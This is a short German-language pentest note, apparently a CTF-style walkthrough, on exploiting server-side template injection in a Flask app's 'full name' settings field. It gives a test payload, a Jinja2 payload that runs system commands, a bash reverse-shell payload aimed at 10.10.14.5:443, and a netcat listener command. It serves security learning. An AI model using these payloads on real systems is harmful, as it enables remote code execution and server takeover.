> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-flask-pentesting-web.md).
# SSTI Flask
## SSTI:
In der Subdomain findest du einen **Einstellungen** Tab, in dem du die Informationen des Admin-Benutzers ändern kannst (vollständiger Name, Geburtsdatum und Telefonnummer).
Wenn du im Formular „Vollständiger Name“ versuchst, einen SSTI-Angriff auszuführen, ist der Server verwundbar. Um dies mit dem `{{ }}`testen wir, ob es die Berechnung interpretiert:
```python
{{1+1}}
```
Dann führen wir alle Befehle aus (zum Beispiel, `id`):
```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```
Wir stellen fest, dass es in der Gruppe `root`.
Wir führen alle eine Reverse Shell aus, um auf den Server zuzugreifen
```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"').read() }}
```
Wir starten einen Listener auf Port 443 auf unserem Angreifer-Rechner:
```bash
nc -nlvp 443
```
---
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